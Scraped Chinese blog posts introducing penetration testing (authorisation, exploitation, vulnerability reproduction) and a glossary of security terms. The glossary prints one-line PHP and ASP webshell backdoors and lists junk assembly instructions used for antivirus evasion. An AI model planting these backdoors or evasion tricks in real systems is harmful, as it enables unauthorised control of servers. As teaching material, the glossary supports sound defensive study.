定期进行漏洞扫描和渗透测试:定期进行漏洞扫描和渗透测试可以发现系统或应用程序中的安全漏洞,并及时修复它们,从而减少数据泄露的风险。 相关术语渗透测试何为?what?PTES 首先,我们需要获得目标系统拥有者或合法授权人的书面授权(无授权不上机),这份授权文件明确规定了测试的权限范围和方式。 同时,我们也会与目标系统拥有者签署保密协议,确保测试结果只限于授权人员知晓,并防止泄漏敏感信息。 在测试开始之前,我们会提供一份风险告知书,详细说明可能出现的风险和潜在影响,以确保目标系统拥有者清楚地理解测试的性质。通过这些准备工作,我们能够建立起测试团队与目标系统拥有者之间的合作和信任关系,为顺利进行渗透测试奠定基础。 为什么要这样做why?​\t渗透测试已成为安全计划中不可或缺的一部分,用于对系统或整个IT基础设施进行模拟测试。 通过渗透测试,可以揭示操作系统、网络设备和应用程序中的核心攻击向量和弱点。其主要目的是发现和修复漏洞,以防止攻击者利用它们。 在当今日益复杂的网络犯罪环境中,包括DDoS攻击、网络钓鱼勒索软件和其他无数攻击策略的使用,渗透测试变得比以往任何时候都更加重要。最佳的防御措施始于了解业务/公司的优势和劣势,正如《战争艺术》中所述,如果对敌人和自身一无所知,就必然会面临威胁。 渗透测试通过了解可能遭受的攻击方式,并采取相应的保护步骤,提供了使安全组织更加成熟的情报和见解。 如何做?HOW?当谈到渗透测试时,我们可以使用一个类比来解释其过程,比如小偷进入一座建筑物的例子: 确定目标:小偷决定要进入的建筑物是他的目标。 收集信息:小偷开始收集有关建筑物的信息,例如它的结构、门窗的位置和安全措施。 发现漏洞:小偷利用他收集到的信息,寻找建筑物中的漏洞,例如未锁好的门、窗户没有关闭或者是容易破坏的锁。 获取访问权限:小偷选择最容易进入的路径,比如找到一个未锁好的门或窗户,然后进入建筑物。 探索系统:一旦小偷进入建筑物,他开始探索里面的各个房间,寻找贵重物品或者其他有价值的东西。 维持访问:如果小偷成功地找到了贵重物品,他可能会决定在建筑物内继续停留,以确保他可以长时间持续获取财物。 分析结果:小偷分析他所获得的贵重物品,并决定如何处理这些物品。 编写报告:小偷可能会记录他的行动、观察和建议,以便他可以在未来的行动中学习和改进。 渗透测试的思维是怎么样的?我们所谓的猥琐的思维就是渗透的思维,也就是大家常说的鬼点子多,鬼主意多。 这意味着我们要从不同角度去思考同⼀件事情我们在渗透的时候要始终贯彻⼀个方针:换位思考。 比如管理员会怎么设置网站,管理员会怎么设置密码,管理员会… … 渗透就跟泡妹纸⼀样 认识妹纸(确定目标) 了解妹纸(信息收集) 逗妹纸开心(漏洞扫描) 得到妹纸的肯定之后就开始寻找时机表白(漏洞利用) 表白失败(漏洞被修补或有WAF) 要么死缠烂打要么就Next one,要么就用其他的方法来搞定妹纸 https://security-1258894728.cos.ap-beijing.myqcloud.com/Manual/PTES.7zhttps://security-1258894728.cos.ap-beijing.myqcloud.com/Manual/PTES.7z 漏洞利用何为?what? ​\t漏洞(Vulnerability)是指软件、系统或网络中存在的错误或缺陷,可能被恶意利用从而导致安全威胁。漏洞可以存在于操作系统、应用程序、网络协议或硬件设备中。 我们使用的各种设备,如手机、电脑、工作站、服务器、路由器和门铃等,在某个时间点都可能存在一些弱点,也就是漏洞。 特别是对于大企业和小企业而言,我们都希望不让这些漏洞存在,因此我们需要采取一些措施来检测并修复它们。 在互联网上,黑客们一直在寻找这些漏洞,他们希望利用这些漏洞来实现某种目标。如果存在这样的漏洞,他们会尝试利用它。 因此,漏洞就是系统中的弱点,而威胁或威胁者则是指利用这些弱点的人,我们通常将他们称为黑客。 据统计,有95%的网络攻击是利用已知的漏洞进行的,并且每年都会发现超过15000个新的漏洞。 这再次强调了修补漏洞的重要性,以降低黑客攻击的风险。 为什么要这样做why?漏洞利用是指利用计算系统中存在的潜在漏洞或弱点来实施攻击的过程。 举个例子,如果我们想要破坏一个窗户,我们可以向窗户扔一块石头或使用一根撬棍。无论哪种方式,都是利用窗户易碎这个共同的潜在漏洞。 在计算机系统中也可能发生类似的情况,即漏洞利用是通过发送一些恶意代码(即恶意软件本身)给受害者来实现的。 黑客会利用操作系统或应用程序中的潜在漏洞,以此进行漏洞利用攻击。他们可能会利用这些漏洞来获取未经授权的访问权限、窃取敏感信息或对系统进行损坏。 如何做?HOW?exploitDB​\t漏洞利用数据库是一个大家都知道的资源库,里面包含了已经发现的可以用来攻击系统漏洞的代码。其中一个非盈利组织安全公司维护的项目叫做exploitDB(也称为searchsploit)。该项目的目的并不是收集漏洞本身,而是收集那些可用于利用漏洞的工具和代码,从最简单的概念验证(即证明漏洞存在)到成熟的可以实际利用漏洞的代码和软件。这个数据库拥有成千上万的漏洞利用程序,并且还在不断增加新的内容。通过使用这个数据库,安全专业人员可以更好地了解已知的漏洞,并采取相应的安全措施来保护软件和系统。 MSFMetasploit Framework(简称MSF)是一种常见且广为人知的漏洞利用工具。它是一个开源框架,任何人都可以下载和使用。该框架包含2000多个不同的漏洞利用程序,可以自动化地利用这些漏洞。它主要用于进行渗透测试,但也可以被滥用以非法访问系统。Metasploit基于模块化设计,任何人都可以贡献新的模块,并且有几种不同类型的模块可用。 漏洞复现何为?what? ​\t漏洞复现是指通过重新创建或模拟已知的漏洞情景,以验证漏洞的存在和可利用性。它是一个安全测试过程中的重要步骤。通过漏洞复现,安全专业人员可以确认漏洞的存在,并评估其对系统或应用程序的威胁程度。 ​\t漏洞复现通常包括以下步骤: 收集漏洞相关信息:安全专业人员首先会收集有关漏洞的详细描述、已公开的漏洞利用代码或漏洞报告等信息。 重建漏洞环境:为了复现漏洞,安全专业人员需要在实验环境中重建与漏洞相关的系统或应用程序。这可能涉及到配置特定的操作系统、软件版本和网络设置等。 复现漏洞:在重建的漏洞环境中,安全专业人员会按照已知的漏洞利用方法和步骤,尝试复现漏洞的具体行为。他们可能使用漏洞利用工具或自行编写代码来实施攻击。 观察和记录结果:在漏洞复现的过程中,安全专业人员会观察漏洞的表现,并记录详细的复现过程和结果。这些记录对于后续的漏洞分析和修复非常重要。 为什么要这样做why? 理解漏洞本质:通过漏洞复现,渗透测试工程师可以深入理解漏洞的本质、原理和影响。这对于他们在渗透测试过程中更好地识别和利用类似漏洞至关重要。 验证漏洞存在:在渗透测试中,识别漏洞并确认其存在是至关重要的一步。通过漏洞复现,渗透测试工程师可以验证已发现的漏洞,并获得更多有关漏洞的详细信息。 发现未知的漏洞:在复现已知漏洞的过程中,渗透测试工程师或学习者有可能意外地发现原本未知的漏洞。这种发现不仅是对自身技术能力的肯定,也为系统安全提供了更全面的保护。 学习攻击技术:通过漏洞复现,渗透测试学习者可以学习和了解不同类型漏洞的攻击技术。他们可以通过模拟攻击来加深对漏洞利用过程的理解,提高自己的技术水平。 提供修复建议:通过漏洞复现,渗透测试工程师可以收集足够的证据和数据,为系统管理员或开发者提供详细的修复建议。这有助于加强系统的安全性和减少潜在的攻击风险。温 故而知新:通过漏洞复现,渗透测试工程师或学习者可以重新研究和复习已知的漏洞类型和攻击技术。这有助于加深对现有漏洞的理解,并为探索新漏洞奠定基础。 如何做?HOW? https://www.vulnhub.com/https://www.vulnhub.com/ https://portswigger.net/web-security/https://portswigger.net/web-security/ 优秀UP主推荐","tags":["信息安全","信息收集","渗透测试"]},{"title":"Security-网安专业术语篇","path":"/2024/02/10/c44eef61/","content":"总字符数: 13.41K 代码: 0.60K, 文本: 10.29K 预计阅读时间: 47 分钟 代码审计 顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方. 通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议 WEB框架 定义: Web框架是一种用于简化和加速Web应用程序开发的工具集,提供了一套结构和规则,使得开发者能够更容易地构建和维护Web应用. 功能: Web框架通常提供路由、模板引擎、数据库集成、会话管理等核心功能.它们为开发者提供了一种组织代码的方式,以便更轻松地处理HTTP请求和构建响应. CMS CMS是Content Management System的缩写,意为”内容管理系统” 定义: CMS是一种用于创建、编辑和管理网站内容的软件.它们通常提供了一个用户友好的界面,使非技术人员能够轻松地创建和更新网站内容,而无需深入了解编程. 功能: CMS包括内容编辑、版本控制、用户管理、权限控制等功能.它们的主要目标是简化网站内容的管理和更新. 黑页 一些计算机被入侵后,入侵者为了证明自己的存在,对网站主页(在服务器开放WEB服务的情况下)进行改写,从而公布入侵者留下的信息,这样的网页通常称为黑页 大马功能强大的网页后门,能执行命令,操作文件,连接数据库 小马 比较单一的网页后门.一般就是上传保存大马. 一句话后门 一句话后门又称一句话木马. 指的是一段很小的网页代码后门,可以使用客户端连接,对网站控制.如中国菜刀 1<?php @eval($_POST['a'])?> 12<%eval request('a')%><%execute request('a') %> 拖库 拖库本来是数据库领域的术语. 指从数据库中导出数据.黑客入侵数据库后把数据库导出来 撞库 撞库攻击是黑客通过搜集在互联网上已泄露的用户和密码信息,然后生成一个包含这些信息的字典表. 攻击者随后使用这个字典表尝试在其他网站上进行批量登录,试图找到可以成功登录的用户账户. 注入 注入攻击就像是在系统中注入了病毒一样,是一种常见的网络安全漏洞. 想象一下,在网站上填写表单的时候,你输入一些信息,系统会根据你的输入执行相应的操作,比如搜索、登录等.而注入攻击就是通过巧妙的手法,在你的输入中夹带一些恶意代码,以绕过系统安全控制、窃取数据或破坏系统正常运行. 举个例子:假设你在一个网站上输入用户名和密码进行登录,系统会验证你的输入是否合法.而一个黑客可能会在用户名或密码的输入框中注入一些特殊的代码,让系统误以为他是合法用户,从而获取敏感信息. 注入攻击的危害:就像在输入框里注入了病毒一样,系统执行了不正常的操作.为了防范注入攻击,开发者需要编写安全的代码,确保用户输入的信息不会被误解成恶意代码.这样,系统就能更好地保护用户数据和系统安全. 注入点 注入点是指在程序中可以接受用户输入的地方,尤其是那些与数据库交互的地方,可能成为恶意用户实施注入攻击的入口. 旁站入侵 同一个服务器上有多个站点,可以通过入侵其中一个站点,可以通过提权跨目录访问其他站点 权限维持权限 权限计算机用户对于文件及目录的建立,修改,删除以及对于某些服务的访问,程序的执行,是以权限的形式来严格区分的. 被赋予了相应的权限,就可以进行相应的操作,否则就不可以 肉鸡 所谓”肉鸡”是一种很形象的比喻,比喻那些可以随意被我们控制的电脑,无关系统,无关用途. 我们可以像操作自己的电脑那样来操作它们,而不被对方察觉 木马 就是那些表面上伪装了正常的程序,但是当这些程序被运行时,就会获取系统的整个控制权限. 有很多黑客就是热衷于使用木马程序来控制别人的电脑,比如灰鸽子,CS,QUASAR等 远控 是在网络上由一台电脑(主控端Remote/客户端)远距离去控制另一台电脑(被控端Host/服务器端)的技术. 这里的远程不是字面意思的远距离,一般是指通过网络控制远端电脑 后门 这是一种形象的比喻,攻击者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置. 这些改动表面上是很难被察觉到的,但是攻击者却可以使用相应的程序或者方法来轻易的与这台电脑建立连接,重新控制这台电脑. 就好像是攻击者偷偷的配了一把主人房间的钥匙,可以随时进出而不被主人发现一样,通常大多数的特洛伊木马(Trojan Horse)程序都可以被攻击者用于制作后门(BackDoor) 提权 顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest(访客),然后通过提权后就变成了超级管理员,拥有了管理Windows的所有权限. 提权是黑客的专业名词,一般用于网站入侵和系统入侵中. Rootkit Rootkit是攻击者用来隐藏自己的行踪和保留根权限(相当于Windows下的system或管理员权限)的工具. 通常,攻击者通过远程攻击或密码猜解获得系统访问权限,然后再利用系统内的安全漏洞获取根权限.在获得根权限后,攻击者会安装Rootkit,以长期控制对方系统. 横向渗透 横向渗透(Lateral Movement)是指攻击者在已经入侵了一台或多台受害者主机之后,通过利用系统漏洞、弱口令等方式,向网络中其他同等级主机进行攻击,并在网络中横向移动,以获取更多的系统权限和敏感信息. 攻击者通常会使用恶意软件、后门程序等手段来进行横向渗透,以避免被系统安全软件和检测机制发现和拦截. 横向渗透对于攻击者而言非常重要,因为攻击者可以通过横向渗透在网络中获得更多的权限和敏感信息. 攻击者通过横向渗透可以访问其他主机上的文件、数据库、邮件等敏感信息,甚至可以获取系统管理员的权限,从而进一步深入系统,控制整个网络. 为了防范横向渗透攻击,组织可以采取一些安全措施,如加强系统安全配置、及时更新补丁、使用强口令、限制用户权限、使用安全软件等. 此外,组织还可以通过安全培训和意识提高等方式提高员工的安全意识,减少安全漏洞的发生. 纵向渗透 纵向渗透(Vertical Movement)是指攻击者在已经入侵了一台或多台受害者主机之后,通过利用系统漏洞或社交工程等手段,向网络中更高级别的主机或系统进行攻击,以获取更高级别的系统权限和敏感信息(一句话概括:提权或者拿主控机器). 攻击者通常会利用系统中的弱点和漏洞,来获取更高级别的权限和敏感信息,从而控制整个网络. 纵向渗透攻击通常是通过提升攻击者的权限来实现. 攻击者可能会从普通用户的权限提升到管理员的权限,然后再提升到系统管理员的权限,最终控制整个网络. 攻击者还可以通过利用社交工程等手段,获取高级别用户的账号和密码,从而进一步提升其权限. 纵向渗透攻击的危害性非常大,因为攻击者可以通过提升权限来控制更多的系统资源和敏感信息,从而对受害组织造成更大的损失. 为了防范纵向渗透攻击,组织可以采取一些安全措施,如限制用户权限、加强系统安全配置、使用强口令、定期修改密码等. 此外,组织还可以通过安全培训和意识提高等方式提高员工的安全意识,减少安全漏洞的发生. 同时,组织还应该定期进行安全漏洞扫描和漏洞修复,以及加强日志的监控和分析,及时发现和防范纵向渗透攻击. 人员安全社会工程学 社会工程学攻击是一种通过对被攻击者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱所采取的诸如欺骗、伤害等危害手段,获取自身利益的手法. 黑客社会工程学攻击则是将黑客入侵攻击手段进行了最大化,不仅能够利用系统的弱点进行入侵,还能通过人性的弱点进行入侵,当黑客攻击与社会工程学攻击融为一体时,将根本不存在所谓安全的系统 社工库 社工库是黑客与数据方式进行结合的一种产物,黑客们将泄露的用户数据整合分析,然后集中归档的一个地方 网络钓鱼 网络钓鱼是一种利用欺骗性的电子邮件和伪造的网站来进行诈骗活动的手段. 攻击者通常会冒充合法机构或个人,诱使受害者提供个人敏感信息如信用卡号、账户用户名、密码和社保编号等. 这些信息可能被用于非法目的,如盗取财务资料、身份盗窃等. 捕鲸攻击 捕鲸是另一种进化形式的鱼叉式网络钓鱼. 它指的是针对高级管理员和组织内其他高级人员的网络钓鱼攻击 通过使电子邮件内容具有个性化并专门针对相关目标进行定制的攻击 弱口令 弱口令:指那些强度不够,容易被猜解的,类似于123456,password,这样的口令(密码) 系统安全端口扫描 端口扫描是指发送一组端口扫描信息,通过它了解到从哪里可以探寻到攻击弱点,并了解其提供的计算机网络服务类型,试图以入侵某台计算机 IPC$ IPC$是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用 默认共享 默认共享是指在Windows系统开启共享服务时,自动将所有硬盘进行共享. 这些默认共享使用了以”$“标志为特征,表示它们是隐含的. 默认共享包括所有逻辑盘(如C$, D$, E$等)和系统目录Winnt或Windows(admin$).因此,它们也被称为隐藏共享. 溢出 溢出:确切的讲,应该是”缓冲区溢出”. 简单的解释就是程序对接受的输入数据没有执行有效的检测而导致错误,后果可能是造成程序崩溃或者是执行攻击者的命令. 大致可以分为两类: 堆溢出 栈溢出 嗅探 嗅探是指在计算机网络中捕获数据信息. 由于支持每对通讯计算机独占通道的交互机/集线器昂贵,因此共享通讯道的嗅探通常是不可避免的. 共享意味着计算机可以接收到发送给其他计算机的信息. 因此,当计算机接收并捕获在网络中传输的数据信息时,就称为嗅探. 跳板 一个具有辅助作用的机器,利用这个主机作为一个间接工具,控制其他主机,一般和肉鸡连用 蠕虫病毒 它利用了Windows系统的开放性特点,特别是COM到COM+的组件编程思路,一个脚本程序能调用功能更大的组件来完成自己的功能. 以VB脚本病毒为例:他们都是把VBS脚本文件加在附件中,使用*.HTM,VPS等欺骗性的文件名. 蠕虫病毒的主要特性有:自我复制能力、很强的传播性、潜伏性、特定的触发性、很大破坏性 恶意软件 被设计来达到非授权控制计算机或窃取计算机数据等多种恶意行为的程序 间谍软件 一种能够在用户不知情的情况下,在其电脑、手机上安装后门,具备收集用户信息、监听、偷拍等功能的软件 反弹端口 有人发现,防火墙对于连入的连接往往会进行非常严格的过滤,但是对于连出的连接却疏于防范. 于是,利用这一特性,反弹端口型软件的服务端(被控制端)会主动连接客户端(控制端),就给人”被控制端主动连接控制端的假象,让人麻痹大意” C2 C2全称为Command and Control 命令与控制,常见于APT攻击场景中. 作动词解释时理解为恶意软件与攻击者进行交互,作名词解释时理解为攻击者的”基础设施” Shell 指的是一种命令行环境,比如我们按下键盘上的”Win键+R”时出现”运行”对话框,在里面输入”cmd”会出现一个用于执行命令的黑窗口,这个Windows的Shell执行环境. 通常我们使用上传后的大马中那个用于执行系统命令的环境就是对方的Shell 交互式Shell 交互式模式就是Shell等待你的输入,并且执行你提交的命令.这种模式被称作交互式.因为Shell与用户进行交互.这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退. 当你签退后,Shell也就终止了 WebShell WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做是一种网页后门. 黑客在拿下一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问这些asp或者php后门,得到一个命令执行环境,以达到网站服务器的目的. 可以上传下载文件,查看数据库,执行恶意程序命令. 免杀 就是通过加壳、加密、修改特征码、加花指令等等技术来修改程序,使其逃过杀毒软件的查杀 加壳 就是利用特殊的算法,将EXE可执行程序或者DLL动态链接库文件的编码进行改变(比如实现压缩、加密),以达到缩小文件体积或者加密程序编码,甚至是躲过杀毒软件查杀的目的.目前较常用的壳有UPX、ASPack、PePack、PECompact、UPack、免疫007、木马彩衣等等 花指令 就是几句汇编指令,让汇编语句进行一些跳转,使得杀毒软件不能正常的判断病毒文件的构造.通俗来说就是”杀毒软件是从头到脚按顺序来查找病毒,如果我们把病毒的头和脚颠倒位置,杀毒软件就找不到病毒了” 1234567891011121314151617181920push ebp # 把基址指针寄存器压入堆栈pop ebp # 把基址指针寄存器弹出堆栈push eax # 把数据寄存器压入堆栈pop eax # 把数据寄存器弹出堆栈nop # 不执行add esp,1 # 指针寄存器加1sub esp,-1 # 指针寄存器加1add esp,-1 # 指针寄存器减1sub esp,1 # 指针寄存器减1inc ecx # 计数器加1dec ecx # 计数器减1sub esp,1 # 指针寄存器-1sub sep,-1 # 指针寄存器加1jmp # 入口地址 --- 跳到程序入口地址push # 入口地址 --- 把入口地址压入堆栈retn # 返回到入口地址,效果与jump入口地址一样mov eax # 入口地址-----把入口地址转送到数据寄存器中jmp eaz # 跳到程序入口地址jb # 入口地址jnb # 入口地址----效果和jmp入口地址一样 可用性安全拒绝服务攻击(DOS) 拒绝服务攻击(DOS)是 Denial of Service的简称,即拒绝服务,造成DOS的攻击行为被称为DOS攻击,其目的是使计算机或网络无法正常服务. 最常见的DOS攻击有计算机网络宽带攻击和连通性攻击,连通性攻击指用大量的连接请求冲击计算机,使得所有可用的操作系统资源被消耗,最终计算机无法再处理合法用户的请求 分布式拒绝服务攻击(DDOS) 分布式拒绝服务攻击(DDoS)是一种通过向目标系统发送大量无用的网络流量,以使目标系统无法正常处理合法流量的攻击方式. 这些攻击通常利用多个来源的计算机或设备来同时攻击目标系统,使得目标系统无法承受如此大量的流量而崩溃或变得不可用. DDoS攻击可以采用多种方式进行,例如:UDP flood攻击、ICMP flood攻击、SYN flood攻击、HTTP flood攻击等. 攻击者通常通过僵尸网络(也称为“僵尸军团”或“僵尸网络”)控制大量的计算机或设备来发起攻击,这些计算机或设备被感染并被远程控制,成为攻击者的工具. DDoS攻击的危害非常严重,它可以导致目标系统长时间不可用,给目标系统的正常运行带来很大的影响,甚至可能会造成重大的经济损失. 为了防止DDoS攻击,可以采取一系列的措施,例如:使用防火墙、入侵检测系统等安全设备,进行流量监控和分析,提高系统的抗攻击能力等 CC攻击 攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装就叫:CC(Challenge Collapsar) 洪水攻击 是黑客比较常用的一种攻击技术,特点是实施简单,威力巨大,大多是无视防御的. 从定义上说,攻击者对网络资源发送过量数据时就发生了洪水攻击,这个网络资源可以是router、switch、host、application等. 洪水攻击将攻击流量比作成洪水,只要攻击流量足够大,就可以将防御手段打穿.DDos攻击便是洪水攻击的一种 SYN 攻击 利用操作系统TCP协议设计上的问题执行的拒绝服务攻击,涉及TCP建立连接时三次握手的设计 软件安全Shellcode Shellcode:简单翻译:Shell代码,是Payload的一种,由于其建立正向/反向Shell而得名 软件加壳 “壳”是一段专门负责保护软件不被非法修改或反编译的程序. 它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务. 经过加壳的软件在跟踪时已看到其真实的十六进制代码,因此可以起到保护软件的目的 软件脱壳 顾名思义:就是利用相应的工具,把在软件”外面”起保护作用的”壳”程序去除,还原文件本来的面目,这样修改文件内容就会容易的很多 渗透测试网络靶场 主要是指通过虚拟环境与真实设备相结合,模拟仿真出真实赛博网络空间攻防作战环境,能够支撑攻防演练、安全教育、网络空间作战能力研究和网路武器装备验证实验平台 黑盒测试 它是指在测试过程中,测试人员没有或只有很少的关于被测试系统的内部结构、工作原理和代码实现等信息. 测试人员只能通过系统对外部接口的输入和输出来判断系统是否存在安全漏洞. 黑盒测试通常是在测试人员不了解系统内部结构和源代码的情况下进行的,这种测试方法更加贴近于实际的攻击情况,因为攻击者通常也无法获得系统的内部信息. 黑盒测试可以模拟攻击者的行为来测试系统的安全性,包括但不限于输入验证、身份认证、访问控制、数据加密、会话管理、错误处理等方面. 黑盒测试可以帮助组织评估其系统的安全性,以及找出其中的弱点和漏洞,以便采取措施加以弥补. 同时,黑盒测试也可以帮助组织提高其系统的安全性,以保护系统中的敏感信息不被攻击者获取. 白盒测试 它是指在测试过程中,测试人员拥有被测试系统的内部结构、工作原理和代码实现等信息. 测试人员可以利用这些信息来测试系统是否存在安全漏洞. 白盒测试通常是在测试人员已经了解系统内部结构和源代码的情况下进行的,这种测试方法可以更加全面地检查系统的安全性. 白盒测试可以检查系统的代码实现是否符合安全标准和最佳实践,包括但不限于输入验证、身份认证、访问控制、数据加密、会话管理、错误处理等方面. 白盒测试可以帮助组织评估其系统的安全性,以及找出其中的弱点和漏洞,以便采取措施加以弥补. 同时,白盒测试也可以帮助组织提高其系统的安全性,以保护系统中的敏感信息不被攻击者获取. 白盒测试的优势在于可以发现一些黑盒测试无法发现的细节性问题,但它需要测试人员具备丰富的技术和经验. 灰盒测试 是一种介于黑盒测试和白盒测试之间的测试方法,它是指在测试过程中,测试人员有一定的关于被测试系统的内部结构、工作原理和代码实现等信息,但这些信息通常不够详细或完整. 测试人员可以利用这些信息来测试系统是否存在安全漏洞,同时也需要模拟攻击者的行为来测试系统的安全性. 灰盒测试通常是在测试人员了解系统的某些部分内部结构和源代码的情况下进行的,但测试人员通常无法完全了解系统的所有部分. 灰盒测试可以结合黑盒测试和白盒测试的优势,既可以测试系统的输入输出接口,又可以检查系统的代码实现是否符合安全标准和最佳实践. 同时,灰盒测试也可以模拟攻击者的行为来测试系统的安全性. 灰盒测试可以帮助组织评估其系统的安全性,以及找出其中的弱点和漏洞,以便采取措施加以弥补. 同时,灰盒测试也可以帮助组织提高其系统的安全性,以保护系统中的敏感信息不被攻击者获取. 灰盒测试需要测试人员具备丰富的技术和经验,以便在了解系统的一定部分内部结构和源代码的情况下,能够全面地测试系统的安全性. 漏扫 即漏洞扫描,指基于漏洞数据库,通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测(渗透攻击)行为. 岗位术语白帽黑客 白帽黑客就是真正的黑客,或者叫红客,探测网络中的软件或者系统的漏洞,并且把漏洞消息告诉网站管理员,不进行破坏性更改. 简单来说,是为了保障安全,修补漏洞 黑帽黑客 黑帽黑客就是大家通常所说的黑客,那种黑客其实真名叫骇客,他们是发现网络中的软件或者系统的漏洞后,对其进行破坏. 简单来说,是为了恶意破坏,属于非法行为 RedTeam(红队) **红队专注于不同系统及其安全程序级别的渗透测试.**它们的存在是为了检测、预防和消除漏洞. 红队模仿可能袭击公司或组织的现实世界的攻击,并执行攻击者将使用的所有必要步骤.通过扮演攻击者的角色,他们向组织展示了哪些可能是对其网络安全构成威胁的后门或可利用漏洞. 一种常见的做法是聘请组织外部的人员进行红队 - 具备利用安全漏洞的知识但不了解组织基础架构中内置的防御措施的人员. 红队使用的技术多种多样,从针对员工和社会工程的标准网络钓鱼尝试到冒充员工以获取管理员访问权限.为了真正有效,红队需要了解攻击者将使用的所有策略、技术和程序. 红队提供了重要的好处,包括更好地了解可能的数据利用和预防未来的违规行为.通过模拟网络攻击和网络安全威胁,公司可以确保其安全性与适当的防御措施相提并论. BlueTeam(蓝队) 蓝队类似于红队,因为它还评估网络安全并识别任何可能的漏洞. 但蓝队的不同之处在于,一旦红队模仿攻击者并以特有的战术和技术进行攻击,蓝队就会找到防御、改变和重组防御机制的方法,从而使事件响应更加强大. 与红队一样,蓝队也需要了解相同的恶意策略、技术和程序,以便围绕它们制定响应策略.蓝队活动并不是攻击所独有的.他们不断参与加强整个数字安全基础设施,使用像 IDS(入侵检测系统)这样的软件,为他们提供对异常和可疑活动的持续分析. APT攻击 Advanced Persistent Threat,高级可持续性攻击,是指组织(特别是政府)或者小团体利用先进的攻击手段对特定目标进行长期持续性网络攻击的供给形式(极强的隐蔽性、潜伏周期长、持续性强、目标性强) ATT&CK 可以简单理解为描述攻击者技站术的知识库 MITRE在2013年推出了该模型,他是根据真实的观察数据来描述和分类对抗行为. ATT&CK 将已知攻击者行为转换为结构化列表,将这些已知的行为汇总成战术和技术,并通过几个矩阵以及结构化威胁信息表达式(STIX)、指标信息的可信自动化交换(TAXII)来表示 安全产品蜜罐 好比是情报收集系统. 蜜罐好像是故意让人攻击的目标,引诱黑客来攻击,所以攻击者攻击后,你就可以知道他是如何得逞的,随时了解针对你的服务器发动的最新的攻击和漏洞,还可以通过窃听黑客之间的联系,收集黑客所用的种种工具,并且掌握他们的社交网络. UTM 即Unified Threat Management,中文名为统一威胁管理,最早由IDC于2014年提出,即将不同设备的安全能力(最早包括入侵检测、防火墙和反病毒技术),及集中在同一网关上,实现统一管理和运维 堡垒机 运用各种技术手段监控和记录运维人员对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为,以便集中报警、及时处理及审计定责 WAF 即Web应用防火墙(Web Application Firewall),是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品 SOC 即Security Operations Center 翻译为安全运营中心或者安全管理平台. 通过建立一套实时的资产风险模型,协助管理员进行事件分析、风险分析、预警管理和应急响应处理的集中安全管理系统 上网行为管理 是指帮助互联网用户控制和管理对互联网使用的设备 其包括对网页访问过滤、上网隐私保护、网络应用控制、带宽流量管理、信息收发审计、用户行为分析等 规则库 网络安全的核心数据库,类似于黑名单,用于存储大量安全规则,一旦访问行为和规则库完成匹配,则被认为是非法行为. 所以有人也将规则库比喻为网络空间的法律 安全运营安全运营 贯穿产品研发、业务运行、漏洞修复、防护与检测、应急响应等一系列环节,实行系统的管理方法和流程,将各个环节的安全防控作用有机结合,保障整个业务的安全性 应急响应 通常是指一个组织为了应对各种意外事件的发生所做的准备以及在事件发生后所采取的措施 威胁情报 威胁情报是某种基于证据的知识,包括上下文、机制、标示、含义和能够执行的建议. 这些知识与资产所面临已有的或酝酿中的威胁或危害相关,可用于资产相关主体对威胁或危害的响应或处理决策提供信息支持. 根据使用对象的不同,威胁情报主要分为人读情报和机读情报 https://www.secrss.com/articles/1560https://www.secrss.com/articles/1560 告警 指网络安全设备对攻击行为产生的警报 误报 也称无效告警,通常指告警错误,即把合法行为判断成非法行为而产生了告警. 目前,由于攻击技术的快速进步和检测技术的限制,误报的数量非常大,使得安全人员不得不花费大量时间来处理此类告警,已经成为困扰并拉低日常安全处置效率的主要原因 漏报 通常指网络安全设备没有检测出非法行为而没有产生告警. 一旦出现漏报,将大幅增加系统被入侵的风险 安全可视化 指在网络安全领域中的呈现技术,将网络安全加固、检测、防御、响应等过程中的数据和结果转换成图形界面,并通过人机交互的方式进行搜索、加工、汇总等操作的理论、方法和技术 全流量检测 全流量主要体现在三个方面:全流量采集与保存、全行为分析和全流量回溯. 通过全流量分析设备,可以实现对网络中的全部流量进行采集与保存,并进行全面的行为分析以及全流量的回溯.同时,还可以提取网络元数据,并将其上传到大数据分析平台,以实现更加丰富的功能和分析. 态势感知 是一种基于环境的、动态、整体地洞悉安全风险的能力,是以安全大数据为基础,从全局视角提升对安全威胁的发现识别、理解分析、响应处置能力的一种方式,最终是为了决策与行动,是安全能力的落地 探针 又称网络安全探针或者安全探针. 可以简单理解为赛博世界的摄像头,部署在网络拓扑的关键节点上. 用于收集和分析流量和日志,发现异常行为,并对可能到来的攻击发出预警. 网络空间测绘 用搜索引擎技术来提供交互,让人们可以方便的搜索到网络空间上的设备. 相对于现实中使用的地图,用各种测绘方法描述和标注地理位置,用主动或被动探测的方法,来绘制网络空间上设备的网络节点和网络连接关系图,及各设备的画像. 零信任 零信任并不是不信任,而是作为一种新的身份认证和访问授权理念,不再以网络边界来划定可信或者不可信. 而是默认不相信任何人、网络以及设备,采取动态认证和授权的方式,把访问者所带来的网络安全风险降到最低 供应链攻击 是黑客攻击目标机构的合作伙伴,并以该合作伙伴为跳板,达到渗透目标用户的目的. 一种常见的表现形式为:用户对厂商产品的信任,在厂商产品下载安装或者更新时进行恶意软件植入进行攻击. 所以,在某些软件下载平台下载的时候,如果遭遇捆绑软件就要小心了 Payload 中文’有效载荷’,指成功ExpLoit之后,真正的目标系统执行的代码或指令 EXP/Exploit 漏洞利用代码,运行之后对目标进行攻击 POC/Proof of Concept 漏洞验证代码,检测目标是否存在对应漏洞 